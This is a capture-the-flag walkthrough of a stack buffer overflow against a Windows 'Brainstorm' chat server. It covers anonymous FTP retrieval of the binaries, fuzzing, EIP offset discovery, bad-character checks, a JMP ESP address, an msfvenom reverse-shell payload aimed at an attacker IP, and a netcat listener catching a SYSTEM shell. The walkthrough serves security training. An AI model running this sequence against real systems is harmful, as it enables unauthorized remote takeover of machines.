

# FTP:

## 1. Login via anon

```
(root@kali) - [~/test/bufferOverflow]
# ftp -nv 10.10.126.34
Connected to 10.10.126.34.
220 Microsoft FTP Service
ftp> user anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-29-19 07:36PM <DIR> chatserver
226 Transfer complete.
ftp> cd chatserver
250 CWD command successful.
ftp> binary
200 Type set to I.
ftp> mget *
mget chatserver.exe? yes
200 PORT command successful.
125 Data connection already open; Transfer starting.
y226 Transfer complete.
43747 bytes received in 1.74 secs (24.6075 kB/s)
mget essfunc.dll? yes
200 PORT command successful.
150 Opening BINARY mode data connection.
226 Transfer complete.
30761 bytes received in 1.32 secs (22.7850 kB/s)
ftp>
```

- Remember to switch to **binary** mode when downloading executable files

## 2. Download

- **essfunc.dll**
- **chatserver.exe**

# Transfer FTP Files to windows 7/10/XP

1. On windows 7/10/XP machine, download immunity debugger

2. Download mona <https://github.com/corelani/mona>
3. Move mona.py to immunity debugger "PyCommands" folder
4. Upgrade python to 2.7.14 32bit  
<https://www.python.org/downloads/release/python-2714/>
5. Open immunity debugger > Open > Select chatserver.exe

## BOF:

1. Determine min buffer size

```
b'Welcome to Brainstorm chat (beta)'  
b'\nPlease enter your username (max 20 characters): '  
Fuzzing with buffer length: 1910  
b'Welcome to Brainstorm chat (beta)'  
b'\nPlease enter your username (max 20 characters): '  
Fuzzing with buffer length: 2010
```

2. Determine EIP

- via msf-pattern\_create

```
msf-pattern_create -l 2010
```

```
Registers (FPU)  
EAX 00B5E70C ASCII  
ECX 003E531C  
EDX 00000A0D  
EBX 0000A114  
ESP 00B5EEEC ASCII  
EBP 7043396F  
ESI 00249D88  
EDI 0024C850  
EIP 31704330
```

- Address: 31704330

3. Determine offset of the pattern

- via msf-pattern\_offset

```
msf-pattern_offset -q 31704330
```

```
(rootkali)-[~/tryhackme/brainstorm/bof]  
# msf-pattern_offset -q 31704330  
[*] Exact match at offset 2012
```

- or via mona

```
!mona findmsp -distance 1300
```

#### 4. Test with Bs

- Make sure 42424242 is at EIP

```
Registers (FPU)
EAX 00B5E70C ASCII "AAAAA
ECX 003E5264
EDX 00000A0D
EBX 0000A116
ESP 00B5EEEE ASCII "[]"
EBP 41414141
ESI 00249D88
EDI 0024C850
EIP 42424242
```

#### 5. Determine badchars

- etc Nullbyte \x00

```
43 43 43 43 01 02 03 04 CCCCCCCC
05 06 07 08 09 0A 0B 0C 0000...
0D 0E 0F 10 11 12 13 14 .0000000
15 16 17 18 19 1A 1B 1C 00000000
1D 1E 1F 20 21 22 23 24 000 !"#&
25 26 27 28 29 2A 2B 2C %&'()*+,-
2D 2E 2F 30 31 32 33 34 -. /01234
35 36 37 38 39 3A 3B 3C 56789:;<
3D 3E 3F 40 41 42 43 44 =>?@ABCD
45 46 47 48 49 4A 4B 4C EFGHIJKL
4D 4E 4F 50 51 52 53 54 MNOPQRST
55 56 57 58 59 5A 5B 5C UVWXYZ[\
5D 5E 5F 60 61 62 63 64 ]^_`abcd
65 66 67 68 69 6A 6B 6C efghijkl
6D 6E 6F 70 71 72 73 74 mnopqrst
75 76 77 78 79 7A 7B 7C uvwxyz{|
7D 7E 7F 80 81 82 83 84 }~0E0,f,,
85 86 87 88 89 8A 8B 8C ...+^`z<@
8D 8E 8F 90 91 92 93 94 0Z00\^_`
95 96 97 98 99 9A 9B 9C .--"3>oe
9D 9E 9F A0 A1 A2 A3 A4 0Zÿ ;<f
A5 A6 A7 A8 A9 AA AB AC ¥!$"%^&*
AD AE AF B0 B1 B2 B3 B4 -0-+~'
B5 B6 B7 B8 B9 BA BB BC µ¶·¸¹º»¼
BD BE BF C0 C1 C2 C3 C4 ½¾¿ÀÁÂÃÄ
C5 C6 C7 C8 C9 CA CB CC ÅÆÇÈÉÊËÌ
CD CE CF D0 D1 D2 D3 D4 ÍÎÏÐÑÒÓÔ
D5 D6 D7 D8 D9 DA DB DC ÕÖ×ØÙÚÛÜ
DD DE DF E0 E1 E2 E3 E4 ÝÞßàáâãäå
E5 E6 E7 E8 E9 EA EB EC Æçèéêëì
ED EE EF F0 F1 F2 F3 F4 íîïðñóôõ
F5 F6 F7 F8 F9 FA FB FC ö÷øùúûü
FD FE FF OD OA 00 00 00 00 ýþÿ....
```

- badChars: \x00

## 6. Determine JMP

- JMP Address must not have any of the identified badChars
- Make sure EIP points to the selected JMP Address

- Check `bp <selected JMP Address>`

```
0x625014df : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR
0x625014eb : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR
0x625014f7 : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR
0x62501503 : jmp esp | ascii {PAGE_EXECUTE_READ} [essfunc.dll]
0x6250150f : jmp esp | ascii {PAGE_EXECUTE_READ} [essfunc.dll]
0x6250151b : jmp esp | ascii {PAGE_EXECUTE_READ} [essfunc.dll]
```

- Address: 0x625014df

- LittleEndian: `\xdf\x14\x50\x62`

## 7. Generate Shellcode

```
msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.11.49.241
LPORT=4444 EXITFUNC=thread -b 'badChars' -f python
```

## 8. Exploit

- a. offset (the number of As to reach EIP)
- b. returnAdd (EIP)
- c. NOP
- d. Shellcode

```
# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.11.49.241] from (UNKNOWN) [10.10.126.34] 49265
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>
```